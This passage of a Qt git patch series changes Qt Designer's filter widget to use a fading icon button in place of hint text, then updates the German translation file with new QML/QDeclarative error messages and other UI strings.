connect(m_button, SIGNAL(clicked()), this, SLOT(reset())); connect(m_editor, SIGNAL(textChanged(QString)), this, SLOT(checkButton(QString))); connect(m_editor, SIGNAL(textEdited(QString)), this, SIGNAL(filterChanged(QString))); @@ -204,25 +208,38 @@ FilterWidget::FilterWidget(QWidget *parent, LayoutMode lm) : QString FilterWidget::text() const { - return m_editor->typedText(); + return m_editor->text(); } void FilterWidget::checkButton(const QString &) { - m_button->setEnabled(!text().isEmpty()); + m_button->animateShow(!m_editor->text().isEmpty()); } void FilterWidget::reset() { if (debugFilter) qDebug() << Q_FUNC_INFO; - if (!text().isEmpty()) { + + if (!m_editor->text().isEmpty()) { // Editor has lost focus once this is pressed - m_editor->showHintText(true); + m_editor->clear(); emit filterChanged(QString()); } } +void FilterWidget::resizeEvent(QResizeEvent *) +{ + QRect contentRect = m_editor->rect(); + if (layoutDirection() == Qt::LeftToRight) { + const int iconoffset = m_editor->textMargins().right() + 4; + m_button->setGeometry(contentRect.adjusted(m_editor->width() - iconoffset, 0, 0, 0)); + } else { + const int iconoffset = m_editor->textMargins().left() + 4; + m_button->setGeometry(contentRect.adjusted(0, 0, -m_editor->width() + iconoffset, 0)); + } +} + bool FilterWidget::refuseFocus() const { return m_editor->refuseFocus(); diff --git a/tools/designer/src/lib/shared/filterwidget_p.h b/tools/designer/src/lib/shared/filterwidget_p.h index 025d708..423b30e 100644 --- a/tools/designer/src/lib/shared/filterwidget_p.h +++ b/tools/designer/src/lib/shared/filterwidget_p.h @@ -58,58 +58,55 @@ #include #include #include +#include QT_BEGIN_NAMESPACE -class QPushButton; +class QToolButton; namespace qdesigner_internal { -/* A line edit that displays a grayed hintText (like "Type Here to Filter") - * when not focused and empty. When connecting to the changed signals and - * querying text, one has to be aware that the text is set to that hint - * text if isShowingHintText() returns true (that is, does not contain - * valid user input). This widget should never have initial focus +/* This widget should never have initial focus * (ie, be the first widget of a dialog, else, the hint cannot be displayed. * For situations, where it is the only focusable control (widget box), * there is a special "refuseFocus()" mode, in which it clears the focus * policy and focusses explicitly on click (note that setting Qt::ClickFocus * is not sufficient for that as an ActivationFocus will occur). */ +#define ICONBUTTON_SIZE 16 + class QDESIGNER_SHARED_EXPORT HintLineEdit : public QLineEdit { Q_OBJECT public: explicit HintLineEdit(QWidget *parent = 0); - QString hintText() const; - - bool isShowingHintText() const; - - // Convenience for accessing the text that returns "" in case of isShowingHintText(). - QString typedText() const; - bool refuseFocus() const; void setRefuseFocus(bool v); -public slots: - void setHintText(const QString &ht); - void showHintText(bool force = false); - void hideHintText(); - protected: virtual void mousePressEvent(QMouseEvent *event); virtual void focusInEvent(QFocusEvent *e); - virtual void focusOutEvent(QFocusEvent *e); private: - void setTextColor(const QColor &newColor, QColor *oldColor = 0); - const Qt::FocusPolicy m_defaultFocusPolicy; - const QColor m_hintColor; - QColor m_textColor; bool m_refuseFocus; - QString m_hintText; - bool m_showingHintText; +}; + +// IconButton: This is a simple helper class that represents clickable icons + +class IconButton: public QToolButton +{ + Q_OBJECT + Q_PROPERTY(float fader READ fader WRITE setFader) +public: + IconButton(QWidget *parent); + void paintEvent(QPaintEvent *event); + float fader() { return m_fader; } + void setFader(float value) { m_fader = value; update(); } + void animateShow(bool visible); + +private: + float m_fader; }; // FilterWidget: For filtering item views, with reset button Uses HintLineEdit. @@ -128,7 +125,7 @@ public: explicit FilterWidget(QWidget *parent = 0, LayoutMode lm = LayoutAlignRight); QString text() const; - + void resizeEvent(QResizeEvent *); bool refuseFocus() const; // see HintLineEdit void setRefuseFocus(bool v); @@ -142,8 +139,9 @@ private slots: void checkButton(const QString &text); private: - QPushButton *m_button; HintLineEdit *m_editor; + IconButton *m_button; + int m_buttonwidth; }; } // namespace qdesigner_internal -- cgit v0.12 From 39fa20a6d9b91ae5c266d1232f9f051ecd37b39d Mon Sep 17 00:00:00 2001 From: Friedemann Kleint Date: Thu, 18 Mar 2010 16:46:59 +0100 Subject: 10n: Update German translation for 4.7.0 Complete QML, spell-check and purge. --- translations/qt_de.ts | 10070 ++++++++++++++++++++++++------------------------ 1 file changed, 5082 insertions(+), 4988 deletions(-) diff --git a/translations/qt_de.ts b/translations/qt_de.ts index 6289834..ec7e786 100644 --- a/translations/qt_de.ts +++ b/translations/qt_de.ts @@ -2,9 +2,30 @@ + CloseButton + + + Close Tab + Schließen + + + + FakeReply + + + Fake error ! + Fake error ! + + + + Invalid URL + Ungültige URL + + + MAC_APPLICATION_MENU - + Services Dienste @@ -23,49 +44,13 @@ Show All Alle anzeigen - - - Preferences... - Einstellungen … - - - - Quit %1 - %1 beenden - - - - About %1 - Über %1 - - - - CloseButton - - - Close Tab - Schließen - - - - FakeReply - - - Fake error ! - Fake error ! - - - - Invalid URL - Ungültige URL - Phonon:: Notifications - Benachrichtungen + Benachrichtigungen @@ -191,7 +176,7 @@ Bitte überprüfen Sie Ihre GStreamer-Installation und stellen Sie sicher, dass Audio-Ausgabegerät - + No error Kein Fehler @@ -1224,7 +1209,7 @@ nach QAbstractSocket - + @@ -1246,13 +1231,13 @@ nach - + Operation on socket is not supported Diese Socket-Operation wird nicht unterstützt - - + + Socket operation timed out Das Zeitlimit für die Operation wurde überschritten @@ -1270,7 +1255,7 @@ nach QAbstractSpinBox - + &Step up &Inkrementieren @@ -1296,7 +1281,7 @@ nach QApplication - + QT_LAYOUT_DIRECTION Translate this string to the string 'LTR' in left-to-right languages or to 'RTL' in right-to-left languages (such as Hebrew and Arabic) to get proper widget layout. LTR @@ -1366,7 +1351,7 @@ nach QColorDialog - + Hu&e: Farb&ton: @@ -1571,2335 +1556,2310 @@ nach - QDial - - - QDial - QDial - + QDeclarativeAbstractAnimation - - SpeedoMeter - Tachometer + + Cannot animate non-existent property "%1" + Die Eigenschaft '%1" existiert nicht und kann daher nicht animiert werden - - SliderHandle - Schieberegler + + Cannot animate read-only property "%1" + Die Eigenschaft '%1" ist schreibgeschützt und kann daher nicht animiert werden - QDialog + QDeclarativeAnchors - - What's This? - Direkthilfe + + Possible anchor loop detected on fill. + Bei der Fülloperation wurde eine potentielle Endlosschleife der Anker festgestellt. - - Done - Fertig + + Possible anchor loop detected on centerIn. + Bei der Operation 'centerIn' wurde eine potentielle Endlosschleife der Anker festgestellt. - - - QDialogButtonBox - - - - OK - OK + + + + + Cannot anchor to an item that isn't a parent or sibling. + Das Ziel eines Anker muss ein Elternelement oder Element der gleichen Ebene sein. - - Save - Speichern + + Possible anchor loop detected on vertical anchor. + Bei einem vertikalen Anker wurde eine potentielle Endlosschleife der Anker festgestellt. - - &Save - S&peichern + + Possible anchor loop detected on horizontal anchor. + Bei einem horizontalen Anker wurde eine potentielle Endlosschleife der Anker festgestellt. - - Open - Öffnen + + Cannot specify left, right, and hcenter anchors. + Ankerangaben für links, rechts und horizontal zentriert dürfen nicht zusammen auftreten. - - Cancel - Abbrechen + + + Cannot anchor to a null item. + Es kann kein Anker zu einem Null-Element angegeben werden. - - &Cancel - &Abbrechen + + Cannot anchor a horizontal edge to a vertical edge. + Es kann kein Anker zu einer horizontalen oder vertikalen Kante angegeben werden. - - Close - Schließen + + + Cannot anchor item to self. + Ein Element kann keinen Anker zu sich selbst haben. - - &Close - Schl&ießen + + Cannot specify top, bottom, and vcenter anchors. + Ankerangaben für oben, unten und vertikal zentriert dürfen nicht zusammen auftreten. - - Apply - Anwenden + + Baseline anchor cannot be used in conjunction with top, bottom, or vcenter anchors. + Ein Baseline-Anker darf nicht mit zusammen mit weiteren Ankerangaben für oben, unten und vertikal zentriert verwendet werden. - - Reset - Zurücksetzen + + Cannot anchor a vertical edge to a horizontal edge. + Vertikale und horizontale Kanten können nicht mit Ankern verbunden werden. + + + QDeclarativeBehavior - - Help - Hilfe + + Cannot change the animation assigned to a Behavior. + Die zu einem Behavior-Element gehörende Animation kann nicht geändert werden. + + + QDeclarativeBinding - - Don't Save - Nicht speichern + + Binding loop detected for property "%1" + Bei der für die Eigenschaft "%1" angegebenen Bindung wurde eine Endlosschleife festgestellt + + + QDeclarativeCompiler - - Discard - Verwerfen + + + + + + Invalid property assignment: "%1" is a read-only property + Ungültige Zuweisung bei Eigenschaft: "%1" ist schreibgeschützt - - &Yes - &Ja + + Invalid property assignment: unknown enumeration + Ungültige Zuweisung bei Eigenschaft: Ungültiger Aufzählungswert - - Yes to &All - Ja, &alle + + Invalid property assignment: string expected + Ungültige Zuweisung bei Eigenschaft: Es wird eine Zeichenkette erwartet - &No - &Nein + Invalid property assignment: url expected + Ungültige Zuweisung bei Eigenschaft: Es wird eine URL erwartet - - N&o to All - N&ein, keine + + Invalid property assignment: unsigned int expected + Ungültige Zuweisung bei Eigenschaft: Es wird eine vorzeichenloser Ganzzahlwert erwartet - - Save All - Alles speichern + + Invalid property assignment: int expected + Ungültige Zuweisung bei Eigenschaft: Es wird ein Ganzzahlwert erwartet - - Abort - Abbrechen + + Invalid property assignment: float expected + Ungültige Zuweisung bei Eigenschaft: Es wird eine Gleitkommazahl erwartet - - Retry - Wiederholen + + Invalid property assignment: double expected + Ungültige Zuweisung bei Eigenschaft: Es wird eine Gleitkommazahl (double) erwartet - - Ignore - Ignorieren + + Invalid property assignment: color expected + Ungültige Zuweisung bei Eigenschaft: Es wird eine Farbspezifikation erwartet - - Restore Defaults - Voreinstellungen + + Invalid property assignment: date expected + Ungültige Zuweisung bei Eigenschaft: Es wird eine Datumsangabe erwartet - - Close without Saving - Schließen ohne Speichern + + Invalid property assignment: time expected + Ungültige Zuweisung bei Eigenschaft: Es wird eine Zeitangabe erwartet - - &OK - &OK + + Invalid property assignment: datetime expected + Ungültige Zuweisung bei Eigenschaft: Es wird eine Datumsangabe erwartet - - - QDirModel - - Name - Name + + Invalid property assignment: point expected + Ungültige Zuweisung bei Eigenschaft: Es wird eine Koordinatenangabe für einen Punkt erwartet - - Size - Größe + + Invalid property assignment: size expected + Ungültige Zuweisung bei Eigenschaft: Es wird eine Größenangabe erwartet - - Kind - Match OS X Finder - Art + + Invalid property assignment: rect expected + Ungültige Zuweisung bei Eigenschaft: Es werden Parameter für ein Rechteck erwartet - - Type - All other platforms - Typ + + Invalid property assignment: boolean expected + Ungültige Zuweisung bei Eigenschaft: Es wird ein Boolescher Wert erwartet - - Date Modified - Änderungsdatum + + Invalid property assignment: 3D vector expected + Ungültige Zuweisung bei Eigenschaft: Es wird ein dreidimensionaler Vektor erwartet - - - QDockWidget - - Close - Schließen + + Invalid property assignment: unsupported type "%1" + Ungültige Zuweisung bei Eigenschaft: Der Typ "%1" ist nicht unterstützt - - Dock - Andocken + + Element is not creatable. + Das Element kann nicht erzeugt werden. - - Float - Herauslösen + + Component elements may not contain properties other than id + Komponenten dürfen außer id keine weiteren Eigenschaften enthalten. - - - QDoubleSpinBox - - More - Mehr + + Component elements may not contain script blocks + Komponenten dürfen keine Skripte enthalten - - Less - Weniger + + Invalid component id specification + Ungültige Komponentenspezifikation - - - QErrorMessage - - &Show this message again - Diese Meldung wieder an&zeigen + + + id is not unique + ID-Wert nicht eindeutig - - &OK - &OK + + Invalid component body specification + Inhalt der Komponente ungültig - - Debug Message: - Debug-Ausgabe: + + Cannot create empty component specification + Es kann keine leere Komponentenangabe erzeugt werden - - Warning: - Achtung: + + Invalid Script block. Specify either the source property or inline script + Ungültiges Skript. Es muss die Eigenschaft oder ein eingebettetes Skript angegeben werden - - Fatal Error: - Fehler: + + Invalid Script source value + Ungültige Angabe für Skript - - - QFile - - - Destination file exists - Die Zieldatei existiert bereits + + Properties cannot be set on Script block + Für ein Skript können keine Eigenschaften angegeben werden - - Will not rename sequential file using block copy - Eine sequentielle Datei kann nicht durch blockweises Kopieren umbenannt werden + + Invalid Script block + Ungültiges Skript - - Cannot remove source file - Die Quelldatei kann nicht entfernt werden + + Incorrectly specified signal + Ungültige Signalspezifikation - - Cannot open %1 for input - %1 kann nicht zum Lesen geöffnet werden + + Empty signal assignment + Leere Signalzuweisung - - Cannot open for output - Das Öffnen zum Schreiben ist fehlgeschlagen + + Empty property assignment + Leere Eigenschaftszuweisung - - Failure to write block - Der Datenblock konnte nicht geschrieben werden + + Attached properties cannot be used here + An dieser Stelle können keine Eigenschaften des Typs 'attached' verwendet werden - - Cannot create %1 for output - %1 kann nicht erstellt werden + + + Non-existent attached object + Es existiert kein Bezugselement für die Eigenschaft - - - QFileDialog - - - All Files (*) - Alle Dateien (*) + + + Invalid attached object assignment + Ungültige Zuweisung des Bezugselements - - - Back - Zurück + + Cannot assign to non-existent default property + Es kann keine Zuweisung erfolgen, da keine Vorgabe-Eigenschaft existiert - - - List View - Liste + + + Cannot assign to non-existent property "%1" + Es kann keine Zuweisung erfolgen, da keine Eigenschaft des Namens '%1" existiert - - - Detail View - Details + + Invalid use of namespace + Ungültige Verwendung eines Namensraums - - - File - Datei + + Not an attached property name + Kein gültiger Name einer Eigenschaft des Typs 'attached' - - Open - Öffnen + + Invalid use of id property + Ungültige Verwendung einer Eigenschaft des Typs 'Id' + + + + id conflicts with type name + Der Wert der Id ist ungültig, da er bereits als Typnamen vergeben ist - Save As - Speichern unter + id conflicts with namespace prefix + Der Wert der Id ist ungültig, da er bereits als Namensraum vergeben ist - - - - &Open - &Öffnen + + + Property has already been assigned a value + Der Eigenschaft wurde bereits ein Wert zugewiesen - - - &Save - S&peichern + + + Invalid grouped property access + Falsche Gruppierung bei Zugriff auf Eigenschaft - - Recent Places - Zuletzt besucht + + Cannot assign a value directly to a grouped property + Bei einer Eigenschaft, die Teil einer Gruppierung ist, ist keine direkte Wertzuweisung zulässig - - &Rename - &Umbenennen + + Invalid property use + Ungültige Verwendung von Eigenschaften - - &Delete - &Löschen + + Property assignment expected + Zuweisung an Eigenschaft erwartet - - Show &hidden files - &Versteckte Dateien anzeigen + + Single property assignment expected + Einzelne Zuweisung an Eigenschaft erwartet - - New Folder - Neues Verzeichnis + + Unexpected object assignment + Zuweisung des Objekts nicht zulässig - - Find Directory - Verzeichnis suchen + + Cannot assign object to list + Zuweisung eines Objekts an eine Liste nicht zulässig - - Directories - Verzeichnisse + + Can only assign one binding to lists + Listen kann nur eine einzige Bindung zugewiesen werden - - All Files (*.*) - Alle Dateien (*.*) + + Cannot assign primitives to lists + Zuweisung eines einfachen Werts (primitive) an eine Liste nicht zulässig - - - Directory: - Verzeichnis: + + Cannot assign multiple values to a script property + Eine Zuweisung mehrerer Werte an eine Skript-Eigenschaft ist nicht zulässig - - %1 already exists. -Do you want to replace it? - Die Datei %1 existiert bereits. -Soll sie überschrieben werden? + + Invalid property assignment: script expected + Ungültige Zuweisung bei Eigenschaft: Es wird ein Skript erwartet - - %1 -File not found. -Please verify the correct file name was given. - %1 -Die Datei konnte nicht gefunden werden. -Stellen Sie sicher, dass der Dateiname richtig ist. + + Cannot assign object to property + Zuweisung eines Objekts an eine Eigenschaft nicht zulässig - - My Computer - Mein Computer + + "%1" cannot operate on "%2" + "%1" kann nicht auf "%2" angewandt werden - - - Parent Directory - Übergeordnetes Verzeichnis + + Duplicate default property + Mehrfaches Auftreten der Vorgabe-Eigenschaft - - - Files of type: - Dateien des Typs: + + Duplicate property name + Mehrfaches Auftreten eines Eigenschaftsnamens - - - %1 -Directory not found. -Please verify the correct directory name was given. - %1 -Das Verzeichnis konnte nicht gefunden werden. -Stellen Sie sicher, dass der Verzeichnisname richtig ist. + + Property names cannot begin with an upper case letter + Eigenschaftsnamen dürfen nicht mit einem Großbuchstaben beginnen - - '%1' is write protected. -Do you want to delete it anyway? - '%1' ist schreibgeschützt. -Möchten Sie die Datei trotzdem löschen? + + Duplicate signal name + Mehrfaches Auftreten eines Signalnamens - - Are sure you want to delete '%1'? - Sind Sie sicher, dass Sie '%1' löschen möchten? + + Signal names cannot begin with an upper case letter + Signalnamen dürfen nicht mit einem Großbuchstaben beginnen - - Could not delete directory. - Konnte Verzeichnis nicht löschen. + + Duplicate method name + Mehrfaches Auftreten eines Methodennamens - - Drive - Laufwerk + + Method names cannot begin with an upper case letter + Methodennamen dürfen nicht mit einem Großbuchstaben beginnen - - File Folder - Match Windows Explorer - Ordner + + Property value set multiple times + Mehrfache Zuweisung eines Wertes an eine Eigenschaft - - Folder - All other platforms - Order + + Invalid property nesting + Ungültige Schachtelung von Eigenschaften - - Alias - Mac OS X Finder - Alias + + Cannot override FINAL property + Eine als 'FINAL' ausgewiesene Eigenschaft kann nicht überschrieben werden - - Shortcut - All other platforms - Symbolischer Link + + Invalid property type + Ungültiger Typ der Eigenschaft - - Unknown - Unbekannt + + Invalid empty ID + Ungültiger (leerer) Id-Wert - - Show - Anzeigen + + IDs cannot start with an uppercase letter + Id-Werte dürfen nicht mit einem Großbuchstaben beginnen - - - Forward - Vorwärts + + IDs must start with a letter or underscore + Id-Werte müssen mit einem Buchstaben oder dem Zeichen '_' beginnen - - &New Folder - &Neues Verzeichnis + + IDs must contain only letters, numbers, and underscores + Id-Werte dürfen nur Buchstaben oder Unterstriche enthalten - - - &Choose - &Auswählen + + ID illegally masks global JavaScript property + Der Id-Wert überdeckt eine globale Eigenschaft aus JavaScript - - Remove - Löschen + + + No property alias location + Alias-Eigenschaft ohne Quellangabe - - - File &name: - Datei&name: + + + Invalid alias location + Ungültige Quellangabe bei Alias-Eigenschaft - - - Look in: - Suchen in: + + Invalid alias reference. An alias reference must be specified as <id> or <id>.<property> + Ungültige Referenzierung einer Alias-Eigenschaft. Die Referenz muss in der Form <id> oder <id>.<property> angegeben werden - - - Create New Folder - Neuen Ordner erstellen + + Invalid alias reference. Unable to find id "%1" + Ungültige Referenzierung einer Alias-Eigenschaft. Der Id-Wert "%1" konnte nicht gefunden werden - QFileSystemModel + QDeclarativeComponent - - - %1 TB - %1 TB + + Invalid empty URL + Ungültige (leere) URL + + + QDeclarativeCompositeTypeManager - - - %1 GB - %1 GB + + + Resource %1 unavailable + Auf die Ressource %1 konnte nicht zugegriffen werden - - - %1 MB - %1 MB + + Import %1 unavailable + Import %1 nicht verfügbar + + + + Namespace %1 cannot be used as a type + Der Namensraum %1 kann nicht als Typangabe verwendet werden - - %1 KB - %1 KB + %1 is not a type + %1 ist keine Typangabe - - %1 bytes - %1 Byte + + Type %1 unavailable + Der Typ %1 ist nicht verfügbar + + + QDeclarativeConnections - - Invalid filename - Ungültiger Dateiname + + + + Cannot assign to non-existent property "%1" + Es kann keine Zuweisung erfolgen, da keine Eigenschaft des Namens '%1" existiert - - <b>The name "%1" can not be used.</b><p>Try using another name, with fewer characters or no punctuations marks. - <b>Der Name "%1" kann nicht verwendet werden.</b><p>Versuchen Sie, die Sonderzeichen zu entfernen oder einen kürzeren Namen zu verwenden. + + Connections: nested objects not allowed + Verbindungen: Verschachtelte Objekte sind nicht zulässig - - Name - Name + + Connections: syntax error + Verbindungen: Syntaxfehler - - Size - Größe + + Connections: script expected + Verbindungen: Skript erwartet + + + QDeclarativeEngine - - Kind - Match OS X Finder - Art + + executeSql called outside transaction() + 'executeSql' wurde außerhalb von 'transaction()' aufgerufen - - Type - All other platforms - Typ + + Read-only Transaction + Schreibgeschützte Transaktion - - Date Modified - Änderungsdatum + + Version mismatch: expected %1, found %2 + Die Version %2 kann nicht verwendet werden; es wird %1 benötigt - - My Computer - Mein Computer + + SQL transaction failed + Die SQL-Transaktion schlug fehl - - Computer - Computer + + transaction: missing callback + callback fehlt bei Transaktion - - %1 byte(s) - %1 byte + + + SQL: database version mismatch + SQL: Die Version der Datenbank entspricht nicht der erwarteten Version - QFontDatabase + QDeclarativeFlipable - - - Normal - Normal + + front is a write-once property + 'front' kann nur einmal zugewiesen werden - - - - Bold - Fett + + back is a write-once property + 'back' kann nur einmal zugewiesen werden + + + QDeclarativeInfo - - - Demi Bold - Halbfett + + + unknown location + Unbekannter Ort + + + QDeclarativeListModel - - - - Black - Schwarz + + remove: index %1 out of range + remove: Der Index %1 ist außerhalb des gültigen Bereichs - - Demi - Semi + + insert: value is not an object + insert: Der Wert ist kein Objekt - - - Light - Leicht + + insert: index %1 out of range + insert: Der Index %1 ist außerhalb des gültigen Bereichs - - - Italic - Kursiv + + move: out of range + move: Außerhalb des gültigen Bereichs - - - Oblique - Schräggestellt + + append: value is not an object + append: Der Wert ist kein Objekt - - Any - Alle + + get: index %1 out of range + get: Der Index %1 ist außerhalb des gültigen Bereichs - - Latin - Lateinisch + + set: value is not an object + set: Der Wert ist kein Objekt - - Greek - Griechisch + + + set: index %1 out of range + set: Der Index %1 ist außerhalb des gültigen Bereichs - - Cyrillic - Kyrillisch + + ListElement: cannot use default property + ListElement: Die Vorgabe-Eigenschaft kann nicht verwendet werden - - Armenian - Armenisch + + ListElement: cannot use reserved "id" property + ListElement: Die "id"-Eigenschaft kann nicht verwendet werden - - Hebrew - Hebräisch + + ListElement: cannot use script for property value + ListElement: Es kann kein Skript für den Wert der Eigenschaft verwendet werden - - Arabic - Arabisch + + ListModel: undefined property '%1' + ListModel: Die Eigenschaft '%1' ist nicht definiert + + + QDeclarativeParentAnimation - - Syriac - Syrisch + + Unable to preserve appearance under complex transform + Das Erscheinungsbild kann bei einer komplexen Transformation nicht beibehalten werden - - Thaana - Thaana - + + + Unable to preserve appearance under non-uniform scale + Das Erscheinungsbild kann bei einer nicht-uniformen Skalierung nicht beibehalten werden + - - Devanagari - Devanagari + + Unable to preserve appearance under scale of 0 + Das Erscheinungsbild kann bei einer Skalierung mit 0 nicht beibehalten werden + + + QDeclarativeParentChange - - Bengali - Bengalisch + + Unable to preserve appearance under complex transform + Das Erscheinungsbild kann bei einer komplexen Transformation nicht beibehalten werden - - Gurmukhi - Gurmukhi + + + Unable to preserve appearance under non-uniform scale + Das Erscheinungsbild kann bei einer nicht-uniformen Skalierung nicht beibehalten werden - - Gujarati - Gujarati + + Unable to preserve appearance under scale of 0 + Das Erscheinungsbild kann bei einer Skalierung mit 0 nicht beibehalten werden + + + QDeclarativeParser - - Oriya - Oriya + + Illegal character + Ungültiges Zeichen - - Tamil - Tamilisch + + Unclosed string at end of line + Zeichenkette am Zeilenende nicht abgeschlossen - - Telugu - Telugu + + Illegal escape squence + Ungültiges Escape-Sequenz - - Kannada - Kannada + + Illegal unicode escape sequence + Ungültige Unicode-Escape-Sequenz - - Malayalam - Malayalam + + Unclosed comment at end of file + Kommentar am Dateiende nicht abgeschlossen - - Sinhala - Sinhala + + Illegal syntax for exponential number + Ungültige Syntax des Exponenten - - Thai - Thailändisch + + Identifier cannot start with numeric literal + Ein Bezeichner darf nicht mit einem numerischen Literal beginnen - - Lao - Laotisch + + Unterminated regular expression literal + Regulärer Ausdruck nicht abgeschlossen - - Tibetan - Tibetisch + + Invalid regular expression flag '%0' + Ungültiger Modifikator '%0' bei regulärem Ausdruck - - Myanmar - Myanmar + + + Syntax error + Syntaxfehler - - Georgian - Georgisch + + Unexpected token `%1' + Unerwartetes Element '%1' - - Khmer - Khmer + + + Expected token `%1' + Es wird das Element '%1' erwartet - - Simplified Chinese - Chinesisch (Kurzzeichen) + + + + Property value set multiple times + Mehrfache Zuweisung eines Wertes an eine Eigenschaft - - Traditional Chinese - Chinesisch (Langzeichen) + + Expected type name + Es wird ein Typname erwartet - - Japanese - Japanisch + + Invalid use of Script block + Ungültige Verwendung von Skript-Blöcken - - Korean - Koreanisch + + Invalid import qualifier ID + Ungültige Id-Angabe bei Import - - Vietnamese - Vietnamesisch + + Library import requires a version + Der Import einer Bibliothek erfordert eine Versionsangabe - - Symbol - Symbol + + Expected parameter type + Es wird eine Typangabe für den Parameter erwartet - - Ogham - Ogham + + Invalid property type modifier + Ungültiger Modifikator für den Typ der Eigenschaft - - Runic - Runen + + Unexpected property type modifier + Modifikator für den Typ der Eigenschaft an dieser Stelle nicht zulässig - - N'Ko - N'Ko + + Expected property type + Typangabe für Eigenschaft erwartet - - - QFontDialog - - &Font - &Schriftart + + Readonly not yet supported + 'read-only' wird an dieser Stelle noch nicht unterstützt - - Font st&yle - Schrifts&til + + JavaScript declaration outside Script element + Eine JavaScript-Deklaration ist außerhalb eines Skriptelementes nicht zulässig - - &Size - &Größe + + Variable declarations not allow in inline Script blocks + Variablendeklarationen sind in eingebetteten Script-Blöcken nicht zulässig + + + QDeclarativePauseAnimation - - Effects - Effekte + + Cannot set a duration of < 0 + Es kann keine Zeitdauer <0 gesetzt werden + + + QDeclarativePropertyAnimation - - Stri&keout - Durch&gestrichen + + Cannot set a duration of < 0 + Es kann keine Zeitdauer <0 gesetzt werden + + + QDeclarativePropertyChanges - - &Underline - &Unterstrichen + + Cannot assign to non-existent property "%1" + Es kann keine Zuweisung erfolgen, da keine Eigenschaft des Namens '%1" existiert - - Sample - Beispiel + + Cannot assign to read-only property "%1" + Die Eigenschaft '%1" ist schreibgeschützt und kann daher nicht zugewiesen werden + + + QDeclarativeTextInput - - - Select Font - Schriftart auswählen + + + Could not load cursor delegate + Cursor-Delegate konnte nicht geladen werden - - Wr&iting System - &Schriftsystem + + Could not instantiate cursor delegate + Cursor-Delegate konnte angelegt werden - QFtp + QDeclarativeVME - - Host %1 found - Rechner %1 gefunden + + Unable to create object of type %1 + Es konnte kein Objekt des Typs %1 erzeugt werden - - Host found - Rechner gefunden + + Cannot assign value %1 to property %2 + Der Wert '%1' kann nicht der Eigenschaft %2 zugewiesen werden - - - - Connected to host %1 - Verbunden mit Rechner %1 + + Cannot assign object type %1 with no default method + Der Objekttyp %1 kann nicht zugewiesen werden, da keine Vorgabe-Methode existiert - - Connected to host - Verbindung mit Rechner besteht + + Cannot connect mismatched signal/slot %1 %vs. %2 + Es kann keine Verbindung zwischen dem Signal %1 und dem Slot %2 hergestellt werden, da sie nicht zusammenpassen - - Connection to %1 closed - Verbindung mit %1 beendet + + Cannot assign an object to signal property %1 + Der Signal-Eigenschaft %1 kann kein Objekt zugewiesen werden - - - - Connection closed - Verbindung beendet + + Cannot assign object to list + Zuweisung eines Objekts an eine Liste nicht zulässig - - - Host %1 not found - Rechner %1 konnte nicht gefunden werden + + Cannot assign object to interface property + Der Eigenschaft der Schnittstelle kann kein Objekt zugewiesen werden - - - Connection refused to host %1 - Verbindung mit %1 verweigert + + Unable to create attached object + Es konnte kein 'attached'-Objekt erzeugt werden - - Connection timed out to host %1 - Das Zeitlimit für die Verbindung zu '%1' wurde überschritten + + Cannot set properties on %1 as it is null + Es können keine Eigenschaften auf %1 gesetzt werden, da es 'null' ist + + + QDeclarativeVisualDataModel - - - - - Unknown error - Unbekannter Fehler + + Delegate component must be Item type. + Delegate-Komponente muss vom Typ 'Item' sein + + + QDeclarativeXmlListModelRole - - - Connecting to host failed: -%1 - Verbindung mit Rechner schlug fehl: -%1 + + An XmlRole query must not start with '/' + Eine XmlRole-Abfrage darf nicht mit '/' beginnen + + + QDeclarativeXmlRoleList - - - Login failed: -%1 - Anmeldung schlug fehl: -%1 + + An XmlListModel query must start with '/' or "//" + Eine XmlListModel-Abfrage muss mit '/' oder "//" beginnen + + + QDial - - - Listing directory failed: -%1 - Der Inhalt des Verzeichnisses kann nicht angezeigt werden: -%1 + + QDial + QDial - - - Changing directory failed: -%1 - Ändern des Verzeichnisses schlug fehl: -%1 + + SpeedoMeter + Tachometer - - - Downloading file failed: -%1 - Herunterladen der Datei schlug fehl: -%1 + + SliderHandle + Schieberegler + + + QDialog - - - Uploading file failed: -%1 - Hochladen der Datei schlug fehl: -%1 + + What's This? + Direkthilfe - - - Removing file failed: -%1 - Löschen der Datei schlug fehl: -%1 + + Done + Fertig + + + QDialogButtonBox - - - Creating directory failed: -%1 - Erstellen des Verzeichnisses schlug fehl: -%1 + + + + OK + OK - - - Removing directory failed: -%1 - Löschen des Verzeichnisses schlug fehl: -%1 + + Save + Speichern - - - Not connected - Keine Verbindung + + &Save + S&peichern - - - Connection refused for data connection - Verbindung für die Daten Verbindung verweigert + + Open + Öffnen - - - QGstreamerPlayerSession - - Unable to play %1 - %1 kann nicht abgespielt werden + + Cancel + Abbrechen - - - QHostInfo - - Unknown error - Unbekannter Fehler + + &Cancel + &Abbrechen - - No host name given - Es wurde kein Hostname angegeben + + Close + Schließen - - - QHostInfoAgent - - - - - Host not found - Rechner konnte nicht gefunden werden + + &Close + Schl&ießen - - - - - Unknown address type - Unbekannter Adresstyp + + Apply + Anwenden - - - - Unknown error - Unbekannter Fehler + + Reset + Zurücksetzen - - - No host name given - Es wurde kein Hostname angegeben + + Help + Hilfe - - - Invalid hostname - Ungültiger Rechnername + + Don't Save + Nicht speichern - - - QHttp - - - Connection refused - Verbindung verweigert + + Discard + Verwerfen - - - - Host %1 not found - Rechner %1 konnte nicht gefunden werden + + &Yes + &Ja - - - Wrong content length - Ungültige Längenangabe + + Yes to &All + Ja, &alle - - - HTTP request failed - HTTP-Anfrage fehlgeschlagen + + &No + &Nein - - Host %1 found - Rechner %1 gefunden + + N&o to All + N&ein, keine - - Host found - Rechner gefunden + + Save All + Alles speichern - - Connected to host %1 - Verbunden mit Rechner %1 + + Abort + Abbrechen - - Connected to host - Verbindung mit Rechner besteht + + Retry + Wiederholen - - Connection to %1 closed - Verbindung mit %1 beendet + + Ignore + Ignorieren - - - Connection closed - Verbindung beendet + + Restore Defaults + Voreinstellungen - - - - - Unknown error - Unbekannter Fehler + + Close without Saving + Schließen ohne Speichern - - - Request aborted - Anfrage wurde abgebrochen + + &OK + &OK + + + QDirModel - - - No server set to connect to - Für die Verbindung wurde kein Server-Rechner angegeben + + Name + Name - - - Server closed connection unexpectedly - Der Server hat die Verbindung unerwartet geschlossen + + Size + Größe - - - Invalid HTTP response header - Der Kopfteil der HTTP-Antwort ist ungültig + + Kind + Match OS X Finder + Art - - Unknown authentication method - Unbekannte Authentifizierungsmethode + + Type + All other platforms + Typ - - - - - Invalid HTTP chunked body - Der Inhalt (chunked body) der HTTP-Antwort ist ungültig + + Date Modified + Änderungsdatum + + + QDockWidget - - Error writing response to device - 